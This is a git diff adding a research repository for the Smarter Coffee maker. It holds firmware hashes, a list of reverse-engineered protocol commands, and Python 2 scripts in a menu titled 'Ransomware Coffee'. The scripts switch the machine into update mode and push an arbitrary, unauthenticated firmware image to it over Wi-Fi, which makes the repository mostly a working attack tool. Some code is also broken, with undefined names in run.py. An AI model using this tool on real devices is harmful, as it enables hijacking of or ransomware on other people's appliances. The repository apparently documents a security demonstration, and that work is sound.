diff --git a/SmarterCoffee/._1eff6702b158b1554284f3ef6eb9d05748f43ba353d60954f21c6f20fd71e6ce b/SmarterCoffee/._1eff6702b158b1554284f3ef6eb9d05748f43ba353d60954f21c6f20fd71e6ce new file mode 100644 index 0000000..84e18e4 Binary files /dev/null and b/SmarterCoffee/._1eff6702b158b1554284f3ef6eb9d05748f43ba353d60954f21c6f20fd71e6ce differ diff --git a/SmarterCoffee/._650a7bc7a55162988c77df34235c8e87eda9c8e2fcecd72b74c5f69e3edd088c b/SmarterCoffee/._650a7bc7a55162988c77df34235c8e87eda9c8e2fcecd72b74c5f69e3edd088c new file mode 100644 index 0000000..0aa2c5e Binary files /dev/null and b/SmarterCoffee/._650a7bc7a55162988c77df34235c8e87eda9c8e2fcecd72b74c5f69e3edd088c differ diff --git a/SmarterCoffee/._README.md b/SmarterCoffee/._README.md new file mode 100644 index 0000000..94a7799 Binary files /dev/null and b/SmarterCoffee/._README.md differ diff --git a/SmarterCoffee/._commands.txt b/SmarterCoffee/._commands.txt new file mode 100644 index 0000000..5a4fb12 Binary files /dev/null and b/SmarterCoffee/._commands.txt differ diff --git a/SmarterCoffee/1eff6702b158b1554284f3ef6eb9d05748f43ba353d60954f21c6f20fd71e6ce b/SmarterCoffee/1eff6702b158b1554284f3ef6eb9d05748f43ba353d60954f21c6f20fd71e6ce new file mode 100644 index 0000000..34d5eef Binary files /dev/null and b/SmarterCoffee/1eff6702b158b1554284f3ef6eb9d05748f43ba353d60954f21c6f20fd71e6ce differ diff --git a/SmarterCoffee/650a7bc7a55162988c77df34235c8e87eda9c8e2fcecd72b74c5f69e3edd088c b/SmarterCoffee/650a7bc7a55162988c77df34235c8e87eda9c8e2fcecd72b74c5f69e3edd088c new file mode 100644 index 0000000..b2b6639 Binary files /dev/null and b/SmarterCoffee/650a7bc7a55162988c77df34235c8e87eda9c8e2fcecd72b74c5f69e3edd088c differ diff --git a/SmarterCoffee/README.md b/SmarterCoffee/README.md new file mode 100644 index 0000000..4796259 --- /dev/null +++ b/SmarterCoffee/README.md @@ -0,0 +1,6 @@ +## firmware SHA256 as found in Android application versions + +1eff6702b158b1554284f3ef6eb9d05748f43ba353d60954f21c6f20fd71e6ce binaryfile_coffee.3.1.0.bin +650a7bc7a55162988c77df34235c8e87eda9c8e2fcecd72b74c5f69e3edd088c binaryfile_coffee.3.2.1.bin +650a7bc7a55162988c77df34235c8e87eda9c8e2fcecd72b74c5f69e3edd088c binaryfile_coffee.3.2.3.bin +650a7bc7a55162988c77df34235c8e87eda9c8e2fcecd72b74c5f69e3edd088c binaryfile_coffee.3.2.5.bin diff --git a/SmarterCoffee/commands.txt b/SmarterCoffee/commands.txt new file mode 100644 index 0000000..a883c14 --- /dev/null +++ b/SmarterCoffee/commands.txt @@ -0,0 +1,31 @@ +MD 0x02 - Device time +CMD 0x05 - Wifi network +CMD 0x07 - Wifi password +CMD 0x0B +CMD 0x0C - Wifi Join +CMD 0x0D - List of visible AP +CMD 0x0F - Wifi Leave +CMD 0x10 - Reset settings +CMD 0x33 - Brew +CMD 0x34 - Coffee stop +CMD 0x35 - Coffee strength +CMD 0x36 - Cups +CMD 0x37 - Brew Default +CMD 0x38 - Coffee store settings +CMD 0x3C - Grinder +CMD 0x3E - Hotplate On +CMD 0x3F +CMD 0x40 - Store Timer +CMD 0x41 - Timers +CMD 0x43 - Disable Timer +CMD 0x46 - Coffee History +CMD 0x48 - Coffee Settings +CMD 0x4A - Hotplate Off +CMD 0x4B - Set Carafe +CMD 0x4C - Carafe +CMD 0x4E - Set mode +CMD 0x4F - Model +CMD 0x64 - Device info - used to check firmware version +CMD 0x69 - Set Wifi Power? +CMD 0x6A - Wifi firmware version +CMD 0x6D - Firmware update sta \ No newline at end of file diff --git a/SmarterCoffee/extras/._requirements.txt b/SmarterCoffee/extras/._requirements.txt new file mode 100644 index 0000000..0190f75 Binary files /dev/null and b/SmarterCoffee/extras/._requirements.txt differ diff --git a/SmarterCoffee/extras/._run.py b/SmarterCoffee/extras/._run.py new file mode 100644 index 0000000..7a6fe93 Binary files /dev/null and b/SmarterCoffee/extras/._run.py differ diff --git a/SmarterCoffee/extras/bin/._config.py b/SmarterCoffee/extras/bin/._config.py new file mode 100644 index 0000000..b53c37a Binary files /dev/null and b/SmarterCoffee/extras/bin/._config.py differ diff --git a/SmarterCoffee/extras/bin/._easy_smarter.py b/SmarterCoffee/extras/bin/._easy_smarter.py new file mode 100644 index 0000000..6253183 Binary files /dev/null and b/SmarterCoffee/extras/bin/._easy_smarter.py differ diff --git a/SmarterCoffee/extras/bin/config.py b/SmarterCoffee/extras/bin/config.py new file mode 100644 index 0000000..85ff36a --- /dev/null +++ b/SmarterCoffee/extras/bin/config.py @@ -0,0 +1,38 @@ +import yaml +import os + +class YamlConfig(object): + + def __init__(self, configfile): + self.configfile = configfile + self.__cfg = None + + + def __open(self): + try: + with open(self.configfile, "r") as inp: + self.__cfg = yaml.load(inp) + return 0 + except IOError: + return 1 + except yaml.YAMLError,e: + print "YAML error" + str(e) + return 2 + + # get config value as path to it + def get(self, path, default=None): + + if not self.__cfg: + if self.__open() != 0: + assert(False) + + components = path.split('/') + r = self.__cfg + + for c in components: + if c in r.keys(): + r = r[c] + else: + return default + return r + diff --git a/SmarterCoffee/extras/bin/easy_smarter.py b/SmarterCoffee/extras/bin/easy_smarter.py new file mode 100644 index 0000000..bb9f749 --- /dev/null +++ b/SmarterCoffee/extras/bin/easy_smarter.py @@ -0,0 +1,146 @@ +#!/usr/bin/python2.7 + +import socket,sys,time,logging + + + + +class easy_smarter(): + + + def __init__(self, ip='192.168.4.1', port = 2081): + self.ip = ip + self.port = port + self.sock = None + + def connect(self): + # create an ipv4 (AF_INET) socket object using the tcp protocol (SOCK_STREAM) + self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + + try: + self.sock.settimeout(3) + # connect the client + self.sock.connect((self.ip, self.port)) + self.sock.settimeout(.5) # 5 seconds. Set this after connecting. + return True + except Exception,e: + logging.warning("Could not connect %s" %(str(e))) + return False + + def read_data(self): + resp = bytearray() + timeout = 10 + while True: + try: + response = self.sock.recv(4096) + resp.extend(bytearray(response)) + if resp[len(resp)-1]==0x7E: + return resp + except socket.timeout as exc: + logging.warning('timed out waiting for data') + timeout -=1 + if timeout<=0: + return bytearray() + + def send_command(self, indata, waitforresponse = True): + self.sock.send(bytearray(indata)) + if waitforresponse: + return self.read_data() + else: + return bytearray() + + def upload_firmware(self, filename, display = sys.stdout.write): + fw = None + total =0 + try: + # try to open firmware file + fw = open(filename,"rb") + fw.seek(0,2) + total = fw.tell()/256 + if (fw.tell()%256)>0: + total+=1 + fw.seek(0) + except Exception, e: + logging.error("Could not load firmware from file %s ", str(e)) + return False + + display ("> Sending lead-in packet\n") + self.send_command([0x6E, 0x7E], True) + + crc = 0 + block =0 + result=0 + display ("> Starting update of %d blocks 256 bytes each\n" %(total)) + # read chunks of 256 bytes and construct a packet + while True: + retry = 5 + chunk = bytearray(fw.read(256)) + if not chunk: + break + #chunks are always of size of 256 + chunk.extend( bytearray([0]*(256-len(chunk))) ) + # now for each chunk compute 'CRC' + for i in range(256): + crc = (crc + chunk[i]) % 0xFFFFFFFF + + # retry loop + while True: + size = len(chunk) + packet = bytearray() + packet.extend(bytearray([0x6f, block+1, (size>>8) & 0xff, (size) & 0xff, 0x7d])) + packet.extend(chunk) + packet.extend(bytearray([0x7e,0x7e,0x7e])) + + res = self.send_command(packet) + + # respond packet should always end like this + result = 0 + if len(res)==3 and res[2]==0x7E: + major = res[0] + if major==3: + result = res[1] + else: + result = res[0]<<4 & res[1] + + if result!=1: + retry-=1 + if retry>0: + time.sleep(1) + continue + display("\nError writing page no. %d\n" % (block+1)) + break +# + if block%4==0 and result==1: + display(".") + if result==1: + break + #sys.stdout.write("sending page %d of %d " %(block+1, total)) + if result!=1: + break + block +=1 + + print "\n" + if result==1: + time.sleep(1) + # sending CRC and closing block + res = self.send_command([0x70, (crc>>24) & 0xFF, (crc>>16) & 0xFF,(crc>>8) & 0xFF, crc & 0xFF, 0x7E], True) + + + + if len(res)==3 and res[2]==0x7E: + major = res[0] + if major==3: + result = res[1] + else: + result = res[0]<<4 & res[1] + if result==1: + display("\nUpdate complete!\n") + else: + display ("\nError finishing firmware %d.\n" % (result)) + else: + display ("\nError writing firmware %d.\n" %(result)) + return result + + + def disconnect(self): + self.sock.close() \ No newline at end of file diff --git a/SmarterCoffee/extras/cfg/._config.yaml b/SmarterCoffee/extras/cfg/._config.yaml new file mode 100644 index 0000000..0e504a9 Binary files /dev/null and b/SmarterCoffee/extras/cfg/._config.yaml differ diff --git a/SmarterCoffee/extras/cfg/config.yaml b/SmarterCoffee/extras/cfg/config.yaml new file mode 100644 index 0000000..21cb046 --- /dev/null +++ b/SmarterCoffee/extras/cfg/config.yaml @@ -0,0 +1,4 @@ +coffeemaker: + id: "5b" + normalssid: "Smarter Coffee" + updatessid: "Smarter Coffee Update" diff --git a/SmarterCoffee/extras/data/._firmware.bin b/SmarterCoffee/extras/data/._firmware.bin new file mode 100644 index 0000000..0aa2c5e Binary files /dev/null and b/SmarterCoffee/extras/data/._firmware.bin differ diff --git a/SmarterCoffee/extras/data/firmware.bin b/SmarterCoffee/extras/data/firmware.bin new file mode 100644 index 0000000..b2b6639 Binary files /dev/null and b/SmarterCoffee/extras/data/firmware.bin differ diff --git a/SmarterCoffee/extras/requirements.txt b/SmarterCoffee/extras/requirements.txt new file mode 100644 index 0000000..44883d9 --- /dev/null +++ b/SmarterCoffee/extras/requirements.txt @@ -0,0 +1,3 @@ +progressbar2 +console-menu +pyaml diff --git a/SmarterCoffee/extras/run.py b/SmarterCoffee/extras/run.py new file mode 100644 index 0000000..6ebd21d --- /dev/null +++ b/SmarterCoffee/extras/run.py @@ -0,0 +1,168 @@ +# Smarter Coffe Maker firmware updater +# Brought to you by @thinkcz + +# Import the necessary packages +import subprocess +import os +import sys +import site +from consolemenu import * +from consolemenu.items import * + +cfg = None + +menu = None + +COFFEEMAKERID = "5b" #5b +WIFI_INTERFACE = "en0" +FIRMWARE = "data/firmware.bin" +NORMALSSID = "Smarter Coffee:" + COFFEEMAKERID +UPDATESSID = "Smarter Coffee Update:" + COFFEEMAKERID + + + + +def update_wifi_info(mn): + mn.prologue_text = "Actual WiFi connected: [%s]" % (get_current_ssid()) + +# needs to be updated according platform (this is OSX implementation) +def get_current_ssid(): + res = subprocess.check_output(['networksetup', '-getairportnetwork', WIFI_INTERFACE]).strip() + if res == "" or res == None: + return "" + else: + return res[res.find(':') + 1:].strip() + +# needs to be updated according platform (this is OSX implementation) +def change_ssid(ssid): + if (get_current_ssid() == ssid): + return True + res = subprocess.check_output(['networksetup', '-setairportnetwork', WIFI_INTERFACE , ssid]).strip() + if res == "" or res == None: + return True + else: + return False + +def change_ssid_tries(ssid, x): + sys.stdout.write("Trying to change to the wireless network [ %s ]" % (ssid)) + for i in range(x): + sys.stdout.write(".") + if change_ssid(ssid): + sys.stdout.write("\n") + update_wifi_info(menu) + return True + sys.stdout.write("\n") + return False + + +def stage1(): + + if not change_ssid_tries(NORMALSSID, 10): + print FAIL + "Can't connect to [ %s ]! Enter to continue" % (NORMALSSID) + ENDC + raw_input() + return "" + + print "Starting update mode, there will be no return code!" + + es = easy_smarter() + for tries in range(10): + if es.connect(): + es.send_command([0x6D, 0x7E]) + print "Done, check coffee machine and connect to update network, press Enter to continue." + es.disconnect() + raw_input() + return "" + time.sleep(1) + + print "Could not connect to Coffee maker. Enter to continue" + + raw_input() + return "" + + + +def stage2(): + if not change_ssid_tries(UPDATESSID, 10): + print FAIL + "Can't connect to [ %s ]! Enter to continue" % (UPDATESSID) + ENDC + raw_input() + return "" + + print "Starting update mode, upload firmware." + + es = easy_smarter() + for tries in range(10): + if es.connect(): + es.disconnect() + break + time.sleep(1) + + + es = easy_smarter() + if es.connect(): + es.upload_firmware(FIRMWARE) + print "Done, check coffee machine and re-connect to normal network, press Enter to continue." + es.disconnect() + else: + print "Could not connect to Coffee maker. Enter to continue" + raw_input() + return "" + +#-------------------------------- main ------------------------------ +if __name__ == "__main__": + # Create the menu + menu = ConsoleMenu("Ransomware Coffee", "demo by THiNK of AwesomeBlue") + + # get absoluthe path of script + scriptpath = os.path.dirname(os.path.abspath(__file__)) + # root for imports + site.addsitedir(os.path.join(scriptpath, 'bin')) + # import + from config import * + # try to open main config + print os.path.join(scriptpath, 'cfg', 'config.yaml') + cfg = YamlConfig(os.path.join(scriptpath, 'cfg', 'config.yaml')) + + + # load config + # + # + # + COFFEEMAKERID = cfg.get("coffeemaker/id",COFFEEMAKERID) + WIFI_INTERFACE = cfg.get("server/wifiinterface",WIFI_INTERFACE) + FIRMWARE = cfg.get("coffeemaker/firmware",FIRMWARE) + NORMALSSID = cfg.get("coffeemaker/normalssid", NORMALSSID ) + ":" +COFFEEMAKERID + UPDATESSID = cfg.get("coffeemaker/updatessid", UPDATESSID ) + ":" +COFFEEMAKERID + + + # override config value if file being specified on command line + if len(sys.argv)==2: + FIRMWARE = sys.argv[1] + + + update_wifi_info(menu) + # Create some items + + + # A FunctionItem runs a Python function when selected + item1 = FunctionItem("Stage: turn maker into update mode", stage1) + + # A CommandItem runs a console command + item2 = FunctionItem("Stage: upload firmware", stage2) + + + + menu.append_item(item1) + menu.append_item(item2) + + # get absoluthe path of script + scriptpath = os.path.dirname(os.path.abspath(__file__)) + # root for imports + site.addsitedir(os.path.join(scriptpath, 'src')) + + # lazy imports + from easy_smarter import * + + + + # Finally, we call show to show the menu and allow the user to interact + menu.show() diff --git a/SmarterCoffee/ida/._binaryfile_coffee.bin b/SmarterCoffee/ida/._binaryfile_coffee.bin new file mode 100644 index 0000000..4202eb4 Binary files /dev/null and b/SmarterCoffee/ida/._binaryfile_coffee.bin differ diff --git a/SmarterCoffee/ida/._binaryfile_coffee1.bin.i64 b/SmarterCoffee/ida/._binaryfile_coffee1.bin.i64 new file mode 100644 index 0000000..0af45af Binary files /dev/null and b/SmarterCoffee/ida/._binaryfile_coffee1.bin.i64 differ diff --git a/SmarterCoffee/ida/binaryfile_coffee.bin b/SmarterCoffee/ida/binaryfile_coffee.bin new file mode 100644 index 0000000..b2b6639 Binary files /dev/null and b/SmarterCoffee/ida/binaryfile_coffee.bin differ diff --git a/SmarterCoffee/ida/binaryfile_coffee1.bin.i64 b/SmarterCoffee/ida/binaryfile_coffee1.bin.i64 new file mode 100644 index 0000000..fef9cab Binary files /dev/null and b/SmarterCoffee/ida/binaryfile_coffee1.bin.i64 differ